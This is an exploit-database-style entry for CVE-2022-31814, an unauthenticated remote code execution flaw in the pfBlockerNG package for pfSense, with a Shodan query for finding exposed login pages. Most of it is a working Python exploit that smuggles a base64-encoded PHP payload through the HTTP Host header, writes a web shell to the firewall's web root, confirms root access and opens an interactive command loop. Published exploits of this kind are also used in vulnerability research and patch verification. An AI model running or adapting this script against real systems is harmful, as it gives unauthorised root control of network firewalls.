# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE) # Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22 # Date: 5th of September 2022 # Exploit Author: IHTeam # Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html # Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169 # Version: 2.1.4_26 # Tested on: pfSense 2.6.0 # CVE : CVE-2022-31814 # Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ #!/usr/bin/env python3 import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE") parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/") args = parser.parse_args() url = args.url shell_filename = "system_advanced_control.php" def check_endpoint(url): response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False) if response.status_code == 200: print("[+] pfBlockerNG is installed") else: print("\n[-] pfBlockerNG not installed") sys.exit() def upload_shell(url, shell_filename): payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"} print("[/] Uploading shell...") response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False) time.sleep(2) response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False) if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')): print("[+] Upload succeeded") else: print("\n[-] Error uploading shell. Probably patched ", response.content) sys.exit() def interactive_shell(url, shell_filename, cmd): response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False) print(str(response.text)+"\n") def delete_shell(url, shell_filename): delcmd = "rm /usr/local/www/system_advanced_control.php" response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False) print("\n[+] Shell deleted") check_endpoint(url) upload_shell(url, shell_filename) try: while True: cmd = input("# ") interactive_shell(url, shell_filename, cmd) except: delete_shell(url, shell_filename)